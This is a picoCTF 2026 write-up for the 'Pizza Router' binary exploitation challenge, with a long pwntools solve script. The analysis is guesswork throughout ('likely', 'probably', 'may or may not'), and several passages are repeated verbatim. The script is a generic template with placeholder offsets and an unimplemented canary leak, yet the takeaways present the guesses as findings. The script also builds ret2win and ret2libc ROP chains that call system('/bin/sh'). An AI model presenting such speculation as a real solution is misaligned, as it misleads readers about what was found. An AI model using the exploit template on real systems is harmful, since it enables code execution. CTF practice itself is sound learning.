┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Pizza Router — picoCTF 2026
~ Imattas aka Zemi
 Category: Binary Exploitation
 Difficulty: Hard
 Points: 400
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 Plan the fastest pizza drone routes and snag a slice of the flag. The binary
is available to download.

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

This is the highest-point binary exploitation challenge of the four at 400
points with 368 solves. The theme involves "planning the fastest pizza drone
routes," which suggests the binary implements some kind of graph/routing
algorithm. The exploitation vector likely lies in how the routing data is
processed.

:: Binary Analysis

The binary likely presents a pizza delivery routing interface where you:
1. Input locations/nodes (pizza destinations)
2. Input distances/edges between them
3. The program calculates optimal routes (shortest path / TSP variant)

Start with reconnaissance to establish the binary's protections and symbols:
-- bash --
file pizza_router
checksec pizza_router
strings pizza_router | grep -i flag
objdump -t pizza_router | grep -E "win|flag|system|exec"
Check the binary's protections:
- NX: Almost certainly enabled (no shellcode on stack)
- Canary: May or may not be present
- PIE: May or may not be present
- RELRO: Partial or Full (affects GOT overwrite feasibility)

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The vulnerability is hidden in how the program handles the routing input. At 400
points, this is a moderately difficult pwn challenge. Possible vulnerability
classes:

:: Likely Vulnerability: Heap-Based Buffer Overflow or Stack Overflow via Route
Input

The binary probably has:
- A fixed-size adjacency matrix or route buffer that can be overflowed by
providing too many nodes or excessively long route data
- An integer overflow in the route calculation that leads to a
smaller-than-expected buffer allocation
- A use-after-free if routes can be added and deleted
- A format string in a logging/output function that prints route information

Common overflow patterns to look for during reverse engineering:
-- c --
// Pattern 1: Fixed buffer, unbounded read
char routes[256];
read(0, routes, 0x400);  // reads more than buffer size

// Pattern 2: Integer overflow in allocation
int num_routes = get_input();
char *buf = malloc(num_routes * sizeof(Route));  // integer overflow
for (int i = 0; i < num_routes; i++) {
    read_route(&buf[i]);  // writes past allocation
}

// Pattern 3: Off-by-one in adjacency matrix
int adj[MAX_NODES][MAX_NODES];
// Indexing error allows writing one row past the matrix
Given the point value (400) and solve count (368), this is likely a stack-based
buffer overflow with some added complexity (e.g., a canary to bypass, PIE to
defeat, or a restricted character set due to the routing input format).

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

Typical attack flow:

1. Reverse engineer the binary: Use Ghidra/IDA to understand the routing input
format and find the vulnerable function
2. Identify the overflow: Determine the buffer size and how many bytes of
overflow we get
3. Leak addresses: If there is a canary or PIE, find an information leak
(possibly through the route output)
4. Build ROP chain or ret2win: Redirect execution to a win() function or build a
ROP chain to call system("/bin/sh")

:: Advanced Techniques Potentially Required

- ROP (Return-Oriented Programming): Chain gadgets to bypass NX
- Canary bypass: Leak the stack canary through an info leak before the overflow
- PIE bypass: Leak a code address to calculate the binary base
- ret2libc: If no win function exists, use libc gadgets to spawn a shell
- Heap exploitation: If the routing data is heap-allocated (malloc/free
patterns)

:: Step 1: Initial Reconnaissance
-- bash --
file pizza_router
checksec pizza_router
strings pizza_router | grep -i flag
objdump -t pizza_router | grep -E "win|flag|system|exec"
:: Step 2: Reverse Engineering

Open in Ghidra or IDA. Key things to find:
- The main menu / input handling loop
- The buffer where route data is stored
- Any bounds checking (or lack thereof)
- Functions that read/print the flag
- The routing calculation function (often where the overflow occurs)

:: Step 3: Find the Overflow

Common patterns:
-- c --
// Pattern 1: Fixed buffer, unbounded read
char routes[256];
read(0, routes, 0x400);  // reads more than buffer size

// Pattern 2: Integer overflow in allocation
int num_routes = get_input();
char *buf = malloc(num_routes * sizeof(Route));  // integer overflow
for (int i = 0; i < num_routes; i++) {
    read_route(&buf[i]);  // writes past allocation
}

// Pattern 3: Off-by-one in adjacency matrix
int adj[MAX_NODES][MAX_NODES];
// Indexing error allows writing one row past the matrix
:: Step 4: Craft the Exploit

Depending on protections found:

If no canary + no PIE (simplest case):
[padding to return address] + [address of win()]
If canary present:
[padding to canary] + [leaked canary] + [padding] + [return address]
If PIE enabled:
Phase 1: Leak binary base via info disclosure
Phase 2: Calculate win() address = base + offset
Phase 3: Overflow with calculated address
If no win function (ret2libc):
Phase 1: Leak libc address (via puts@GOT or similar)
Phase 2: Calculate system() and "/bin/sh" addresses
Phase 3: ROP chain: pop rdi; ret + "/bin/sh" addr + system addr
:: Step 5: Route the Input Correctly

The tricky part of this challenge is likely that the overflow must be triggered
through the routing interface's input format, not raw bytes. You may need to
encode your payload within valid "route" entries, e.g.:
Number of locations: 100
Route 1: A -> B, distance: [overflow payload here]
────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Pizza Router - picoCTF 2026
Category: Binary Exploitation | Points: 400

Plan the fastest pizza drone routes and snag a slice of the flag.
The binary involves a routing/graph algorithm with a buffer overflow
or similar memory corruption vulnerability.

Usage:
    python3 solve.py                     # Run against local binary
    python3 solve.py REMOTE_HOST PORT    # Run against remote server
    python3 solve.py --recon             # Reconnaissance only (checksec, strings, symbols)

Before running:
    1. Download the binary from the challenge page
    2. Run: python3 solve.py --recon  (to see protections and symbols)
    3. Reverse engineer the binary in Ghidra/IDA
    4. Update the CONFIGURATION section below
    5. chmod +x pizza_router
"""

import sys
import re
import struct
from pwn import *

# ============================================================
# CONFIGURATION - UPDATE AFTER REVERSE ENGINEERING
# ============================================================

BINARY = "./pizza_router"
LIBC = ""  # Path to libc if needed (e.g., "./libc.so.6")
context.arch = "amd64"  # Change to "i386" if 32-bit

# Overflow parameters (find via reverse engineering)
OVERFLOW_OFFSET = 72        # Bytes of padding to reach return address (UPDATE THIS)
CANARY_OFFSET = None        # Offset to stack canary, or None if no canary
CANARY_LEAK_FMT = None      # Format string to leak canary, or None

# Win function (if it exists)
WIN_FUNC_NAME = "win"       # Try: "win", "print_flag", "get_flag", "flag"

# PIE leak configuration (if PIE enabled)
PIE_LEAK_OFFSET = None      # Stack position that leaks a code address

# ret2libc configuration (if no win function)
POP_RDI_OFFSET = None       # Offset of "pop rdi; ret" gadget from binary base
RET_OFFSET = None           # Offset of "ret" gadget (for stack alignment)
PUTS_PLT_OFFSET = None      # Offset of puts@PLT
PUTS_GOT_OFFSET = None      # Offset of puts@GOT
MAIN_OFFSET = None          # Offset of main()

# Libc offsets (if ret2libc needed -- find via libc database)
LIBC_PUTS_OFFSET = None     # Offset of puts in libc
LIBC_SYSTEM_OFFSET = None   # Offset of system in libc
LIBC_BINSH_OFFSET = None    # Offset of "/bin/sh" string in libc


# ============================================================
# HELPERS
# ============================================================

def get_connection():
    """Connect to remote or run locally."""
    if len(sys.argv) >= 3 and sys.argv[1] not in ("--recon", "--find-offset"):
        host = sys.argv[1]
        port = int(sys.argv[2])
        log.info(f"Connecting to {host}:{port}")
        return remote(host, port)
    else:
        log.info(f"Running local binary: {BINARY}")
        return process(BINARY)


def recon():
    """Perform initial reconnaissance on the binary."""
    import subprocess

    print("=" * 60)
    print("RECONNAISSANCE")
    print("=" * 60)

    # File type
    print("\n[*] File type:")
    subprocess.run(["file", BINARY])

    # Checksec
    print("\n[*] Security protections:")
    try:
        elf = ELF(BINARY)
        print(f"    Arch:     {elf.arch}")
        print(f"    RELRO:    {'Full' if elf.relro == 'Full' else 'Partial' if elf.relro else 'No'}")
        print(f"    Stack:    {'Canary found' if elf.canary else 'No canary'}")
        print(f"    NX:       {'NX enabled' if elf.nx else 'NX disabled'}")
        print(f"    PIE:      {'PIE enabled' if elf.pie else 'No PIE'}")
    except Exception as e:
        print(f"    Error: {e}")
        subprocess.run(["checksec", "--file", BINARY], capture_output=False)

    # Interesting symbols
    print("\n[*] Interesting symbols:")
    try:
        elf = ELF(BINARY, checksec=False)
        interesting = ['win', 'flag', 'print_flag', 'get_flag', 'system',
                       'execve', 'main', 'vuln', 'vulnerable', 'route',
                       'plan', 'deliver', 'pizza', 'drone']
        for sym in elf.symbols:
            sym_lower = sym.lower()
            if any(i in sym_lower for i in interesting):
                print(f"    {sym}: {hex(elf.symbols[sym])}")
    except Exception:
        pass

    # Interesting strings
    print("\n[*] Interesting strings:")
    result = subprocess.run(["strings", BINARY], capture_output=True, text=True)
    for line in result.stdout.split('\n'):
        line_lower = line.lower()
        if any(kw in line_lower for kw in ['flag', 'win', 'shell', '/bin/sh',
                                            'route', 'pizza', 'drone', 'deliver',
                                            'node', 'distance', 'path', 'menu']):
            print(f"    {line}")

    # ROP gadgets (first few)
    print("\n[*] Key ROP gadgets:")
    try:
        elf = ELF(BINARY, checksec=False)
        rop = ROP(elf)
        for gadget_name in ['rdi', 'rsi', 'rdx', 'rax', 'syscall', 'ret']:
            try:
                g = rop.find_gadget(['pop ' + gadget_name, 'ret']) if gadget_name != 'ret' else rop.find_gadget(['ret'])
                if gadget_name == 'syscall':
                    g = rop.find_gadget(['syscall'])
                if g:
                    print(f"    pop {gadget_name}; ret => {hex(g[0])}")
            except Exception:
                pass
    except Exception:
        pass

    print("\n" + "=" * 60)
    print("Next steps:")
    print("1. Open the binary in Ghidra/IDA")
    print("2. Find the vulnerable function and determine overflow offset")
    print("3. Update CONFIGURATION section in this script")
    print("4. Run: python3 solve.py [host port]")
    print("=" * 60)


def find_overflow_offset():
    """Send a cyclic pattern to find the exact overflow offset."""
    p = get_connection()

    pattern = cyclic(500)
    log.info(f"Sending cyclic pattern of length {len(pattern)}")

    # Interact with the menu to reach the vulnerable input
    # UPDATE THIS: navigate the menu to reach the overflow point
    try:
        p.recvuntil(b":", timeout=3)
        p.sendline(pattern)
    except Exception:
        p.send(pattern)

    try:
        p.wait()
    except Exception:
        pass

    # Check core dump for crash address
    # Use: dmesg | tail  or  coredumpctl info
    print("\n[*] Pattern sent. Check crash address:")
    print("    dmesg | tail -5")
    print("    Then run: cyclic_find(0xADDRESS)")

    p.close()


# ============================================================
# EXPLOIT STRATEGIES
# ============================================================

def exploit_ret2win():
    """
    Strategy 1: Simple return-to-win function.
    Works when: Binary has a win() function, no canary, no PIE (or known base).
    """
    elf = ELF(BINARY)
    p = get_connection()

    # Find win function
    win_addr = None
    for name in [WIN_FUNC_NAME, 'win', 'print_flag', 'get_flag', 'flag']:
        if name in elf.symbols:
            win_addr = elf.symbols[name]
            log.success(f"Found {name}() at {hex(win_addr)}")
            break

    if win_addr is None:
        log.error("No win function found. Try exploit_ret2libc() instead.")
        p.close()
        return

    # Build payload
    rop = ROP(elf)
    ret_gadget = rop.find_gadget(['ret'])[0]  # Stack alignment

    payload = b"A" * OVERFLOW_OFFSET
    payload += p64(ret_gadget)   # Align stack (needed on Ubuntu 18.04+)
    payload += p64(win_addr)

    log.info(f"Payload length: {len(payload)}")

    # Send payload through the routing interface
    # UPDATE THIS: Navigate the menu and send payload at the right point
    try:
        output = p.recvuntil(b":", timeout=3)
        log.info(f"Received: {output}")
    except Exception:
        pass

    p.sendline(payload)

    # Collect output
    try:
        result = p.recvall(timeout=5).decode(errors="ignore")
    except Exception:
        result = p.recv(timeout=3).decode(errors="ignore")

    print("\n" + "=" * 50)
    print("Output:")
    print(result)
    print("=" * 50)

    flag_match = re.search(r'picoCTF\{[^}]+\}', result)
    if flag_match:
        print(f"\nFLAG: {flag_match.group(0)}")
    else:
        print("\nFlag not found in output. Entering interactive mode...")
        try:
            p.interactive()
        except Exception:
            pass

    p.close()


def exploit_ret2win_with_canary_leak():
    """
    Strategy 2: Leak canary, then return-to-win.
    Works when: Stack canary is present but can be leaked.
    """
    elf = ELF(BINARY)

    # Phase 1: Leak canary
    log.info("Phase 1: Leaking stack canary")
    p = get_connection()

    # Common leak methods:
    # - Off-by-one overwrite of canary's null byte + read back
    # - Format string leak
    # - Separate info leak vulnerability
    # UPDATE THIS based on the specific leak method available

    # Example: off-by-one to leak canary byte-by-byte
    # This is highly binary-specific -- update accordingly
    canary = b""
    # Placeholder -- implement actual canary leak here
    log.warning("Canary leak not implemented -- update for this specific binary")
    p.close()

    if len(canary) < 8:
        log.error("Canary leak failed. Implement the specific leak method.")
        return

    # Phase 2: Overflow with canary
    log.info("Phase 2: Exploiting with leaked canary")
    p = get_connection()

    win_addr = elf.symbols.get(WIN_FUNC_NAME, None)
    if win_addr is None:
        log.error("Win function not found")
        p.close()
        return

    rop = ROP(elf)
    ret_gadget = rop.find_gadget(['ret'])[0]

    payload = b"A" * CANARY_OFFSET
    payload += canary
    payload += b"B" * 8  # Saved RBP
    payload += p64(ret_gadget)
    payload += p64(win_addr)

    # Send through routing interface (UPDATE menu navigation)
    p.sendline(payload)

    result = p.recvall(timeout=5).decode(errors="ignore")
    print(result)

    flag_match = re.search(r'picoCTF\{[^}]+\}', result)
    if flag_match:
        print(f"\nFLAG: {flag_match.group(0)}")

    p.close()


def exploit_ret2libc():
    """
    Strategy 3: ret2libc for when there is no win function.
    Works when: Can leak libc address, NX enabled, no win function.
    """
    elf = ELF(BINARY)
    p = get_connection()

    if elf.pie:
        log.error("PIE enabled -- need to leak binary base first")
        p.close()
        return

    rop = ROP(elf)

    # Gadgets
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
    ret = rop.find_gadget(['ret'])[0]
    puts_plt = elf.plt.get('puts', elf.plt.get('printf', None))
    puts_got = elf.got.get('puts', elf.got.get('printf', None))
    main_addr = elf.symbols['main']

    if not all([puts_plt, puts_got]):
        log.error("Cannot find puts PLT/GOT. Adjust for available functions.")
        p.close()
        return

    # Phase 1: Leak libc address
    log.info("Phase 1: Leaking libc address")

    payload1 = b"A" * OVERFLOW_OFFSET
    payload1 += p64(pop_rdi)
    payload1 += p64(puts_got)
    payload1 += p64(puts_plt)
    payload1 += p64(main_addr)  # Return to main for second stage

    # Navigate menu and send payload (UPDATE THIS)
    try:
        p.recvuntil(b":", timeout=3)
    except Exception:
        pass
    p.sendline(payload1)

    # Parse leaked address
    try:
        p.recvline()  # Skip any immediate output
        leak = p.recvline().strip()
        leaked_addr = u64(leak.ljust(8, b'\x00'))
        log.success(f"Leaked puts@libc: {hex(leaked_addr)}")
    except Exception as e:
        log.error(f"Failed to parse leak: {e}")
        p.interactive()
        return

    # Calculate libc base
    if LIBC:
        libc = ELF(LIBC)
        libc.address = leaked_addr - libc.symbols['puts']
    else:
        # Try common libc offsets or use libc database
        # https://libc.blukat.me/ or https://libc.rip/
        log.warning("No libc specified. Using pwntools to find libc.")
        libc = elf.libc
        if libc:
            libc.address = leaked_addr - libc.symbols['puts']
        else:
            log.error("Cannot determine libc. Provide LIBC path.")
            p.interactive()
            return

    log.success(f"Libc base: {hex(libc.address)}")
    system_addr = libc.symbols['system']
    binsh_addr = next(libc.search(b'/bin/sh\x00'))
    log.success(f"system(): {hex(system_addr)}")
    log.success(f"/bin/sh:  {hex(binsh_addr)}")

    # Phase 2: Call system("/bin/sh")
    log.info("Phase 2: Spawning shell")

    payload2 = b"A" * OVERFLOW_OFFSET
    payload2 += p64(ret)         # Stack alignment
    payload2 += p64(pop_rdi)
    payload2 += p64(binsh_addr)
    payload2 += p64(system_addr)

    # Navigate menu again (we returned to main)
    try:
        p.recvuntil(b":", timeout=3)
    except Exception:
        pass
    p.sendline(payload2)

    log.success("Shell spawned! Use 'cat flag.txt' to get the flag.")
    p.interactive()
    p.close()


# ============================================================
# MAIN
# ============================================================

if __name__ == "__main__":
    if "--recon" in sys.argv:
        recon()
    elif "--find-offset" in sys.argv:
        find_overflow_offset()
    elif "--ret2libc" in sys.argv:
        exploit_ret2libc()
    elif "--canary" in sys.argv:
        exploit_ret2win_with_canary_leak()
    else:
        # Default strategy: ret2win
        # Change to exploit_ret2libc() or exploit_ret2win_with_canary_leak()
        # based on your analysis of the binary
        exploit_ret2win()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- Always start with checksec to determine which protections (NX, canary, PIE,
RELRO) shape the exploit strategy.
- The vulnerable input is reached through the routing interface's menu/format,
so the payload must be smuggled inside valid "route" entries rather than sent as
raw bytes.
- Use a cyclic pattern (cyclic/cyclic_find) to find the exact overflow offset to
the saved return address.
- Pick a strategy based on protections: ret2win (no canary/PIE),
canary-leak-then-ret2win, PIE base leak, or ret2libc via a puts@GOT leak.
- On modern glibc/Ubuntu, add a bare ret gadget before the function call to keep
the stack 16-byte aligned.